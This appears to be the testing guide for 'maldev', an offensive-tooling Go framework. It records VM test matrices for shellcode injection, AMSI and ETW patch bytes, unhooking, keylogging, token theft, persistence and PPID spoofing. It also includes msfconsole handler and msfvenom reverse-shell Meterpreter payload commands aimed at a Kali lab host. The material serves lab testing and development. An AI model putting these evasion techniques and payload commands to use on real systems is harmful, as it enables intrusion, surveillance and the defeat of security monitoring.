Testing Guide — maldev

Scope. This document covers per-test-type details: the injection matrix, Meterpreter end-to-end, evasion byte-pattern verification, BSOD, collection and token tests. For bootstrap (VM creation, SSH keys, INIT snapshot) see docs/vm-test-setup.md. For the reproducible coverage collection workflow (merged host + Linux VM + Windows VM + Kali) see docs/coverage-workflow.md.

Overview

The maldev project uses a multi-layered testing strategy:

  1. Unit tests (go test ./...) — 64 packages, 500+ tests
  2. VM integration tests (MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1) — privileged operations in isolated VMs
  3. memscan binary verification (scripts/vm-test-memscan.go) — 77 byte-pattern sub-checks read via the memscan HTTP API
  4. Meterpreter end-to-end — real shellcode → real MSF sessions on Kali
  5. BSOD verification — crashes the VM, restores the snapshot (uses the cmd/vmtest driver; see scripts/vm-test.ps1)

Running Tests

# Local (safe, non-intrusive)
go build $(go list ./...)
go test $(go list ./... | grep -v scripts) -count=1 -short

# VM — all tests including intrusive (win10)
./scripts/vm-run-tests.sh windows "./..." "-v -count=1"

# VM — same suite on a second Windows build (cross-version coverage)
./scripts/vm-run-tests.sh windows11 "./..." "-v -count=1"

# VM — sweep all targets (windows + windows11 + linux)
./scripts/vm-run-tests.sh all "./..." "-count=1"

# VM — with manual/dangerous tests
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 go test ./... -count=1 -timeout 300s

# memscan binary verification (77-row matrix, from host)
go run scripts/vm-test-memscan.go

# Meterpreter matrix (from host, needs Kali)
# See Meterpreter section below

Test Gating

Environment VariablePurpose
MALDEV_INTRUSIVE=1Enable tests that modify system state (hooks, patches, injection)
MALDEV_MANUAL=1Enable tests that need admin + VM (real shellcode, service manipulation)
MALDEV_TEST_USERUsername for impersonation tests
MALDEV_TEST_PASSPassword for impersonation tests

Injection CallerMatrix

Tests every injection method × every syscall calling convention. 35 combinations tested.

MethodWinAPINativeAPIDirectIndirectType
CreateThreadSelf
EtwpCreateEtwThreadSelf
CreateRemoteThreadRemote
RtlCreateUserThreadRemote
QueueUserAPCRemote
NtQueueApcThreadExRemote
EarlyBirdAPCSpawn
ThreadHijack⚠️⚠️Spawn
CreateFiberSelf
  • ⚠️ ThreadHijack + Direct/Indirect: NtGetContextThread/NtWriteVirtualMemory fail with STATUS_DATATYPE_MISALIGNMENT — RSP alignment issue in syscall stubs
  • ⛔ CreateFiber: deadlocks Go's M:N scheduler with real shellcode

Standalone Injection Functions

FunctionMeterpreter TestedNotes
SectionMapInject✅ SESSION_OKRemote, uses Caller
KernelCallbackExec✅ SESSION_OKRemote, no Caller
PhantomDLLInject✅ SESSION_OKRemote, no Caller
ThreadPoolExec✅ SESSION_OKLocal, no Caller
ModuleStomp✅ SESSION_OKLocal, needs CreateThread for execution
ExecuteCallback (EnumWindows)✅ SESSION_OKLocal, synchronous
ExecuteCallback (TimerQueue)✅ SESSION_OKLocal, timer thread
ExecuteCallback (CertEnumStore)✅ SESSION_OKLocal, synchronous (Kali session 48 confirmed)
SpawnWithSpoofedArgs✅ SPOOF_OKProcess arg spoofing — real args executed, fake visible

Meterpreter End-to-End

Prerequisites

  1. Kali VM running with MSF (ssh -p 2223 kali@localhost)
  2. Windows VM with Defender exclusions
  3. SSH key at /tmp/vm_kali_key

Setup

# Start MSF handler on Kali (sleep 3600 keeps it alive)
ssh -i /tmp/vm_kali_key -p 2223 kali@localhost \
  'nohup msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; exploit -j -z; sleep 3600" > /tmp/msf.log 2>&1 &'

# Wait 20s for MSF boot, then generate shellcode
ssh -i /tmp/vm_kali_key -p 2223 kali@localhost \
  'msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw' > /tmp/msf_payload.bin

# Copy to VM
VBoxManage guestcontrol Windows10 copyto --target-directory "C:\Temp\" /tmp/msf_payload.bin

Key Finding: MSF sleep trick

msfconsole exits when stdin closes (not a crash — EOF). nohup/screen don't help because they close stdin. Fix: add sleep 3600 as the LAST MSF -x command. This is an MSF sleep (not bash), keeping the process alive while the handler runs.

Results (2026-04-14)

22 unique meterpreter sessions established across all 21 injection techniques (including CertEnumStore). SpawnWithSpoofedArgs verified separately (not a shellcode injection — confirms PEB argument overwrite).

Evasion Tests

AMSI Patch

FunctionWinAPINativeAPIDirectIndirectBytes Verified
PatchScanBuffer31 C0 C3 (xor eax,eax; ret)
PatchOpenSessionConditional jump flipped (JZ → JNZ)
PatchAllBoth ScanBuffer + OpenSession patched

ETW Patch

FunctionWinAPINativeAPIDirectIndirectBytes Verified
EtwEventWrite48 33 C0 C3
EtwEventWriteEx48 33 C0 C3
EtwEventWriteFull48 33 C0 C3
EtwEventWriteString48 33 C0 C3
EtwEventWriteTransfer48 33 C0 C3
NtTraceEvent48 33 C0 C3

Unhook

FunctionWinAPINativeAPIDirectIndirectVerification
ClassicUnhookTarget: NtCreateSection, stub = 4C 8B D1 B8
FullUnhookAll ntdll stubs = 4C 8B D1 B8

ClassicUnhook safelist: NtClose, NtCreateFile, NtReadFile, NtWriteFile, NtQueryVolumeInformationFile, NtQueryInformationFile, NtSetInformationFile, NtFsControlFile — all rejected to prevent Go runtime deadlock.

stealthopen Opener / Creator composition

stealthopen exposes a symmetric pair of optional interfaces that mirror the *wsyscall.Caller pattern — nil falls back to the standard os operation, non-nil routes through whatever stealth strategy the caller wires up.

Read side — Opener: the unhook, phantomdll, and herpaderping functions accept it. nil keeps the historic path-based os.Open / windows.CreateFile, non-nil (typically *stealthopen.Stealth) routes reads through OpenFileById and makes path-based EDR file hooks blind to the operation.

Write side — Creator: the LNK, ADS, .kirbi, lsass-minidump, PE rewrite, and .syso emit paths accept it. nil falls back to *StandardCreator (plain os.Create); non-nil lands the file through the operator's primitive (transactional NTFS, encrypted-stream wrapper, ADS, raw NtCreateFile, etc.). Byte-ready callers go through stealthopen.WriteAll(creator, path, data); streaming producers (lsassdump.DumpToFileVia, masquerade.GenerateSysoVia) drive the returned io.WriteCloser directly.

PackageTest fileCoverage
evasion/stealthopenopener_test.go (host)Standard.Open, Use(nil)==Standard, fake opener pass-through; StandardCreator.Create, UseCreator(nil)==StandardCreator, fakeCreator pass-through; WriteAll nil/non-nil/Create-error propagation
evasion/stealthopenopener_windows_test.go (VM)VolumeFromPath (drive/UNC/Win32/relative/empty), NewStealth round-trip via OpenFileById, Stealth.Open state validation, Stealth ignores caller's path argument
evasion/unhookopener_windows_test.go (VM, intrusive)spyOpener counts: ClassicUnhook/FullUnhook each call Open exactly once on ntdll.dll; real Stealth round-trip proves full unhook still succeeds
injectphantomdll_opener_test.go (Windows build, host-safe)spyOpener asserts PhantomDLLInject makes 2 opens on the same System32 DLL path (PE parse + NtCreateSection HANDLE)
process/tamper/herpaderpingopener_windows_test.go (Windows build, host-safe)spyOpener asserts payload+decoy reads both go through the Opener; empty DecoyPath → single call
persistence/lnklnk_test.go (VM)recordingCreator confirms WriteVia routes through the Creator's Create call with the expected path; nil fallback writes a non-empty .lnk via StandardCreator

Run just the Opener / Creator paths:

./scripts/vm-run-tests.sh windows "./evasion/stealthopen/..." "-v -count=1"
./scripts/vm-run-tests.sh windows "./evasion/unhook/..." "-v -count=1 -run Opener"
./scripts/vm-run-tests.sh windows "./inject/..." "-v -count=1 -run PhantomDLLInject_UsesProvidedOpener"
./scripts/vm-run-tests.sh windows "./process/tamper/herpaderping/..." "-v -count=1 -run Opener"
./scripts/vm-run-tests.sh windows "./persistence/lnk/..." "-v -count=1 -run WriteVia"

Other Evasion

TechniqueTestVerification
ACG EnableTestACGBlocksRWXVirtualAlloc(PAGE_EXECUTE_READWRITE) returns error after Enable()
BlockDLLs EnableTestBlockDLLsPolicyProcess alive = policy set
Phant0m KillTestKillEventLogThreadsEventLog service threads terminated (TEB tag resolution)
Herpaderping RunTestRunWithDecoyDisk file = decoy content, not original payload
SleepMask SleepTestSleepMask_EncryptedDuringSleepBytes XOR-encrypted during sleep, restored after
SleepMask e2eTestSleepMaskE2E_DefeatsExecutablePageScannerConcurrent scanner cannot find canary during masked sleep; protection round-trips
AntiVM DetectVMTestDetectVMInVirtualBoxReturns "VirtualBox" in VirtualBox VM
AntiVM DetectProcessTestDetectVBoxProcessFinds VBoxService.exe, VBoxTray.exe

BSOD

Driven by cmd/vmtest + a target-side PowerShell harness (see scripts/vm-test.ps1). The standalone scripts/vm-test-bsod.go runner listed in docs/vm-test-setup.md § Phase 5 is still TODO — reproduction today is manual:

  1. Launch the harness via scheduled task (interactive session, schtasks /Run).
  2. The harness calls cleanup/bsod.Trigger(nil).
  3. First tries NtRaiseHardError (intercepted on Win 10 22H2).
  4. Falls back to RtlSetProcessIsCritical(TRUE) + os.Exit(1).
  5. VM crashes with CRITICAL_PROCESS_DIED.
  6. Operator restores the INIT snapshot: virsh snapshot-revert <vm> --snapshotname INIT --force or VBoxManage snapshot <vm> restore INIT.

SSN Resolver Verification

All 4 resolvers return identical SSNs for the same function:

FunctionSSNHellsGateHalosGateTartarusHashGate
NtAllocateVirtualMemory0x0018
NtProtectVirtualMemory0x0050
NtCreateThreadEx0x00C2
NtClose0x000F

Cross-validated: x64dbg reads SSN bytes from ntdll prologue (offset +4, +5) and compares with resolver output. All match.

Collection

FeatureTestVerification
ScreenshotTestCapturePNG magic bytes 89 50 4E 47
Screenshot boundsTestDisplayBoundsWidth/height > 0
Clipboard readTestReadTextNo crash
Clipboard roundtripTestReadTextRoundtripSet-Clipboard → ReadText = exact match
Clipboard watchTestWatchChannel closes on context cancel
Keylog hook installTestStartHook installs + channel open
Keylog captureTestCaptureSimulatedKeystrokesSendInput(VK_A) → KeyCode=0x41
Keylog cancelTestStartCancelChannel closes on timeout

Token Operations

FunctionTestVerification
Steal (self)TestStealSelfValid token from own PID
Steal (remote)TestImpersonateTokenFromRemoteProcessSteal notepad token + impersonate
OpenProcessTokenTestOpenProcessTokenSelfToken handle non-zero
UserDetailsTestTokenUserDetailsUsername non-empty
IntegrityLevelTestTokenIntegrityLevelReturns string (Medium/High/System)
PrivilegesTestTokenPrivilegesAt least one privilege listed
Enable/DisableTestEnableDisablePrivilegeRound-trip toggle
ImpersonateTokenTestImpersonateTokenToken-based (no credentials)

Persistence

MechanismTestVerification
Registry Run keyTestSetAndGet + TestDeleteFull CRUD lifecycle (Set → Get → Exists → Delete)
Scheduler taskTestCreateAndDeleteCreate → Exists=true → Delete → Exists=false
LNK Save (disk via WScript.Shell)TestSave.lnk produced is non-empty under t.TempDir
LNK BuildBytes (zero-disk via IShellLinkW + IPersistStream)TestBuildBytes + TestBuildBytesNoArtefactHeader byte = 0x4C; no maldev-lnk-* directory left in TEMP
LNK WriteTo (zero-disk → io.Writer)TestWriteToBytes equal to BuildBytes round-trip into bytes.Buffer
LNK WriteVia (zero-disk → stealthopen.Creator)TestWriteVia_NilUsesStandardCreator + TestWriteVia_DelegatesToCreatornil falls back to os.Create; recordingCreator captures the right path
LNK SetIconLocationIndexedTestSetIconLocationIndexedBuilder packs (path, index) into the WSH "path,N" form
LNK Hotkey parserTestParseHotkey8 cases — Ctrl/Alt/Shift/Control aliases, F1/F-out-of-range, single-letter, single-digit, unsupported keys

Cleanup

FunctionTestVerification
SelfDelete (script)TestRunWithScriptInChildBinary file removed from disk
Timestomp SetTestSetFile mtime changed
Timestomp CopyFromTestCopyFromDestination times match source
Memory WipeAndFreeTestWipeAndFreeVirtualQuery returns MEM_FREE

PE Operations

FunctionTestVerification
BOF LoadTestLoadParses COFF headers, validates machine type
BOF ExecuteTestExecuteNopBOFRuns nop.o without crash
PE ParseTestOpenValidPESections, imports, exports parsed
PE Strip timestampTestSetTimestampTimestamp changed
PE SanitizeTestSanitizePclntab F1FFFFFF wiped + sections renamed
PE Morph UPXTestUPXMorphSection names randomized
sRDI ConvertDLLTestConvertDLLShellcode generated from DLL

Linux Testing

Injection Methods

MethodTestResultVerification
/proc/self/memTestProcMemSelfInjectChild writes via /proc/self/mem, prints PROCMEM_OK
memfd_createTestMemFDInjectCreates anonymous fd, ForkExecs /bin/true ELF copy
ptraceTestPtraceInjectSpawns sleep target, attaches via ptrace, injects
purego (mmap+exec)TestPureGoExecmmap RWX + direct call (no CGO)
procmem crash verifyTestProcMemVerificationInjection → SIGSEGV = shellcode executed

Linux Debugger Equivalent

Instead of x64dbg, Linux verification uses:

  • /proc/PID/maps — read memory layout, find RWX regions
  • /proc/PID/mem — read/write process memory directly
  • GDB (gdb -p PID) — available on Ubuntu VM for interactive debugging
  • strace — trace syscalls (memfd_create, mmap, ptrace)

Running Linux Tests

# On host (orchestrates VM)
./scripts/vm-run-tests.sh linux "./..." "-v -count=1"

# On Ubuntu VM directly
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 go test $(go list ./... | grep -v scripts) -count=1 -timeout 120s

# Linux meterpreter e2e (requires Kali handler running first)
# From host: start MSF handler via KaliStartListener
# On Ubuntu VM:
MALDEV_MANUAL=1 MALDEV_INTRUSIVE=1 MALDEV_KALI_HOST=192.168.56.200 \
  go test -v -run TestMeterpreterRealSessionLinux ./c2/meterpreter/ -timeout 120s

# Linux shell PTY (self-contained, no Kali needed)
MALDEV_MANUAL=1 go test -v -run "TestShellPTYLinux" ./c2/shell/ -timeout 60s

Linux e2e Results

TestResultNotes
TestShellPTYLinux✅ PASSPTY echo + command output verified
TestShellPTYLinuxLifecycle✅ PASSStart/stop/reconnect lifecycle
TestMeterpreterRealSessionLinux✅ PASSSession 1 opened on Kali (192.168.56.200:4444 → 192.168.56.103)

Platform Test Summary

PlatformPackages OKFAILInjection MethodsMeterpreter
Windows 10 (VM win10)6409 methods × 4 callers + 12 standalone22 sessions
Windows 11 (VM win11-2)TBD per run — see deltas belowvariessame matrix as win10; remote-thread methods bite on Win11TBD
Ubuntu 25.10 (VM)2604 methods (procmem, memfd, ptrace, purego)1 session (Linux meterpreter)

Win10 → Win11 cross-version deltas (run captured 2026-04-26)

The windows11 test target (VM win11-2, build 26100 / Win11 24H2) exposes mitigations Win10 22H2 doesn't. Categories:

SiteWin10Win11-2Likely cause
cleanup/selfdelete/TestDeleteFile{,Force}PASSFAILWin11 changes to MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT) rename-on-reboot semantics
evasion/hook test binaryPASS*build failed (Defender quarantine)Win11 Defender def signatures flag the test EXE — fixed via Defender exclusions in bootstrap-windows-guest.ps1 (re-snapshotted 2026-04-26)
pe/srdi test binaryPASS*quarantinedSame Defender root cause; same fix
inject/TestCallerMatrix_RemoteInject (CRT/RtlCUT/QUAPC/NtQAPCEx × WinAPI+Direct)PASS8 sub-failsWin11 hardening on cross-process write + thread-create primitives
process/tamper/fakecmd/TestSpoofPIDPASSFAILPROC_THREAD_ATTRIBUTE_PARENT_PROCESS tighter on Win11 (consistent with the PPIDSpoofer known-limitation already noted on Win10 22H2 — gap widened on Win11)
process/tamper/herpaderping/TestRunWithDecoy{,VerifyProcessCreated}PASSFAILWin11 image-load notify changes break the herpaderping primitive
recon/dllhijack/TestValidate_OrchestrationEndToEndFAIL (timing flake)PASSOrchestration timing — not a Win11 regression

* On a clean Defender state. Defender signatures rotate; the evasion/hook and pe/srdi quarantines were observed on win10 in run 2 even though they passed on run 1. The bootstrap script now installs path + process exclusions on first provision (see scripts/vm-test/bootstrap-windows-guest.ps1).

These deltas are real signal — exactly the reason the second Windows target exists. Mitigation work tracks per chantier:

  • Remote-injection deltas (CallerMatrix) → revisit in chantier IV (Win11 sigs validation) and the v0.33.0+ Caller-routing follow-ups in the lsass plan.
  • fakecmd / herpaderping → mark as Win11-aware skips with build detection (win/version.IsAtLeast(11)); document ATT&CK detection delta.
  • selfdelete → research the Win11 rename-on-reboot regression; check whether the new FILE_RENAME_INFO + FILE_DISPOSITION_INFO_EX path needs an alternate code path.

PPID Spoofing

The c2/shell package includes a PPID spoofer (PPIDSpoofer) that creates child processes under a fake parent via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS.

FunctionTestResultNotes
ParentPIDTestParentPIDReturns parent PID of current process
NewPPIDSpooferTestNewPPIDSpooferConstructor, default targets
FindTargetProcessTestPPIDSpooferFunctional⚠️ SKIPExploit Guard blocks CreateProcess with spoofed parent on Win 10 22H2
SysProcAttrTestPPIDSpooferSysProcAttrNoTargetError on missing target

Known Limitation: Windows 10 22H2 blocks PROC_THREAD_ATTRIBUTE_PARENT_PROCESS with ACCESS_DENIED even with admin + SeDebugPrivilege + no ASR rules configured. This appears to be a kernel-level mitigation (not ASR/Exploit Guard). OpenProcess(PROCESS_CREATE_PROCESS) succeeds, but CreateProcess with the spoofed parent fails. The technique works on older Windows versions without these protections.

Sprint 2 Additions (2026-04-15)

Three new feature packages + one doc overhaul were battle-tested this session. Host runs and VM runs both captured; bugs fixed on the spot.

inject callbacks — 3 new execution methods

MethodTestResultFix landed during session
CallbackReadDirectoryChangesTestExecuteCallbackReadDirectoryChangesPASS
CallbackRtlRegisterWaitTestExecuteCallbackRtlRegisterWaitPASSWT_EXECUTEONLYONCE + RtlDeregisterWaitEx(INVALID_HANDLE_VALUE) to avoid post-free callback crash
CallbackNtNotifyChangeDirectoryTestExecuteCallbackNtNotifyChangeDirectoryPASSSTATUS_PENDING(0x103) accepted as success; Win11 CET stub requires endbr64 prefix

Allocator helper moved to testutil.WindowsCETStubX64 (shared CET-safe endbr64;ret shellcode; required by Win11 KiUserApcDispatcher).

persistence/scheduler — COM ITaskService rewrite

TestResultNotes
TestCreateAndDeletePASSRegisterTaskDefinition + DeleteTask round-trip
TestCreateWithTimeAndDeletePASSTIME trigger
TestDeleteNonExistentPASSError surface
TestCreateRequiresActionPASSOption validation
TestSplitTaskNamePASSUnit test for path parsing
TestScheduledTaskMechanismPASSpersistence.Mechanism interface
TestExistsNonExistentPASSNon-admin returns false cleanly
TestRunNonExistentPASSError surface
TestListPASSRoot-folder enumeration

Two bugs fixed during the VM run: ole.NewVariant(VT_NULL)nil (oleutil marshaller panic), and StartBoundary now always set (Task Scheduler rejects DAILY triggers without it).

runtime/clr — in-process .NET hosting

TestResultGate
TestInstalledRuntimesPASSalways
TestLoadAndCloseSKIP*ICorRuntimeHost unavailable
TestExecuteAssemblyEmptySKIP*ICorRuntimeHost unavailable
TestExecuteDLLValidationSKIP*ICorRuntimeHost unavailable
TestInstallAndRemoveRuntimeActivationPolicyPASSalways

Load() tries CorBindToRuntimeEx first, falls back to CLRCreateInstance+BindAsLegacyV2Runtime. The three Load-dependent tests run inside a separate helper binary — testutil/clrhost/ — built on demand with a committed <exe>.config that enables legacy v2 activation. testutil.RunCLROperation spawns the helper, inspects its exit code, and maps environmental failures (exit=2, "ICorRuntimeHost unavailable") to t.Skip so the test suite stays green.

* Observed behaviour on Win10 build 19045.6466 + NetFx3 Enabled: even with the committed .config and a fresh unmanaged helper process, GetInterface(CorRuntimeHost) still returns REGDB_E_CLASSNOTREG. The three SKIPs therefore remain on this specific Windows build. The infrastructure is in place for the moment Microsoft restores legacy activation paths, or when running on an environment that does — older Win10 builds, LTSC images, .NET-aware manifested hosts, etc.

Runtime helpers for operational use:

  • clr.InstallRuntimeActivationPolicy() drops <exe>.config next to the running binary before Load.
  • clr.RemoveRuntimeActivationPolicy() deletes it after Load succeeds (mscoree has cached the policy — file no longer needed, OPSEC cleanup).

evasion/cet — CET shadow-stack manipulation

TestResultNotes
TestMarkerPASSVerifies Marker == ENDBR64 opcode
TestWrapIdempotentPASSDouble-wrap is no-op
TestWrapEmptyPASSnil input → just Marker
TestWrapAlreadyCompliantPASSsc starting with ENDBR64 unchanged

cet.Enforced() / cet.Disable() are environment-dependent and not unit-asserted — verified manually on the Win10 VM (returns false; no CET enforcement on this CPU/image combo). Unit-testable on a Win11+CET host.

pe/masquerade — compile-time PE resource embedding (T1036.005)

End-to-end validation via pe/masquerade/internal/e2e_cmd_test:

StepResult
Generator read-only scan of System32PASS (5 identities × 2 UAC variants = 10 sub-packages)
Blank-import → go buildPASS (syso auto-linked)
VERSIONINFO matchPASS — Get-Item masqtest.exe shows CompanyName "Microsoft Corporation", OriginalFilename "Cmd.Exe", full cmd.exe metadata

process/session — WTS enumeration

TestResultVM observation
TestListPASSServices(id=0,Disconnected) + Console(id=1,Active,test@DESKTOP-T8IB37P)
TestActiveSubsetOfListPASSinvariant Active ⊆ List
TestSessionStateStringPASSenum→name mapping

Windows 11 CET gotcha

KiUserApcDispatcher rejects non-endbr64 indirect targets with STATUS_STACK_BUFFER_OVERRUN (0xC000070A). Any future test that allocates a shellcode stub for an APC path must start with F3 0F 1E FA (endbr64). Use testutil.WindowsCETStubX64.

Sprint 2 Extensions (2026-04-15)

Five additional packages landed on top of the Sprint 2 base. All tested on host and on Windows10 VM (snapshot INIT restored between runs).

c2/transport — server-side Listener interface

Adds Listener, NewTCPListener, NewTLSListener as the symmetric of Transport for operator-side reverse-shell handlers. Thin wrappers over net.Listen / tls.Listen with context-cancelable Accept.

Tests (11 PASS, 1 SKIP in loopback race): TestTCPRoundTrip, TestTCPReconnect, TestTCPRemoteAddr, TestTCPContextCancel (SKIP: loopback accepts before ctx fires), TestTCPContextCancelNonRoutable (non-routable addr forces the cancel path), TestNewTLS_Options, TestWithFingerprint, TestNewUTLS_Options, plus malleable HTTP tests.

c2/multicat — multi-session reverse-shell manager

Operator-side listener that multiplexes inbound shells into numbered sessions, reads an optional BANNER:<hostname>\n within 500 ms, and emits lifecycle events on a buffered channel. Never embedded in the implant.

MITRE: T1571.

Tests (6 PASS, in-memory with net.Pipe): TestListenAccept, TestSessionsIDSequential, TestBannerHostname, TestRemoveSession, TestEvents, TestGet. Tests write "\n" from the client side to unblock the 500 ms banner-read deadline so the session registers before Sessions() snapshot.

crypto — lightweight obfuscation primitives

Non-cryptographic but signature-breaking transforms: TEA, XTEA (8-byte block, 16-byte key, 64 rounds, PKCS7), ArithShift (position-dependent byte add), S-Box (random 256-byte permutation + inverse via Fisher-Yates on crypto/rand), and MatrixTransform / "Agent Smith" (Hill cipher mod 256, n∈{2,3,4}, adjugate inverse).

MITRE: T1027 / T1027.013.

Tests: TestTEARoundtrip, TestXTEARoundtrip, TestArithShiftRoundtrip, TestSBoxRoundtrip, TestMatrixTransformRoundtrip (iterates n=2,3,4). All PASS on host + VM.

Gotcha: a compile-time uint32(teaDelta * rounds/2) overflows the untyped-constant range in Go. The runtime sum loop for j { sum += teaDelta } replaces it. matDet needs an explicit n == 1 case for 2×2 matrix inversion (recursive cofactor minors land at 1×1).

process/tamper/fakecmd — SpoofPID remote PEB overwrite

Extends the existing self-spoof to a remote process. Opens the target with PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, walks PEB→ProcessParameters→CommandLine, allocates a new UTF-16 buffer in the target with NtAllocateVirtualMemory, writes the fake string, and patches Length / MaximumLength / Buffer of the UNICODE_STRING in place. No Restore counterpart — the caller tracks the original.

Signature accepts an optional *wsyscall.Caller that routes both NtQueryInformationProcess and NtAllocateVirtualMemory.

MITRE: T1036.005.

Test: TestSpoofPID (PASS, VM elevated). Spawns notepad, calls SpoofPID(pid, fake, nil), then reads the remote PEB back via readRemoteCmdLine and asserts equality. Skipped on host when not running as admin via testutil.RequireAdmin.

encode — markdown documentation page

No new Go code. Creates docs/techniques/encode/README.md covering Base64/Base64URL/UTF-16LE/PowerShell/ROT13, when to encode vs encrypt, and the encrypt → encode layering pattern. All existing encode tests continue to PASS.

VM Infra Fixes Landed With This Sprint

  • Persistent shared folder maldev on Windows10 VM with --automount --auto-mount-point "Z:" so Z:\scripts\vm-test.ps1 resolves.
  • vm-test.ps1 tolerates comma-separated -Packages because VBoxManage guestcontrol drops internal whitespace from -- args; multi-package runs must pass a single ./... glob, commas, or invoke the runner once per package.

Known Limitations

IssueImpactWorkaround
CreateFiber deadlocks Go schedulerCannot test with real shellcode in go testUse standalone binary
ThreadHijack + Direct/IndirectRSP alignment breaks NtGetContextThreadUse WinAPI or NativeAPI
Phant0m depends on EventLog stateMay skip if threads untaggedRun immediately after VM restore
Clipboard needs Session 1guestcontrol = Session 0Run via scheduled task
Keylog singletonMust wait 500ms between Start() callsSleep after cancel
findallmem after x64dbg attachReturns 0 resultsUse InitDebug or self-scan
Syscall stubs transientFreed after Caller GCScan during execution, not after
MSF exits on stdin EOFHandler dies after -r/-x commandsAdd sleep 3600 as last -x command
PPID spoofing blockedKernel-level mitigation on Win 10 22H2 (not ASR)Test on older OS or disable kernel mitigations
Ubuntu no host-only NICCannot reach Kali for meterpreterAdd nic2 hostonly (requires VM shutdown) — DONE
KaliSSH inside VMslocalhost:2223 unreachable from other VMsUse direct host-only IPs or env vars (MALDEV_KALI_HOST)
Kali DHCP IP mismatchKaliHost=192.168.56.200, DHCP assigns .101sudo ip addr add 192.168.56.200/24 dev eth1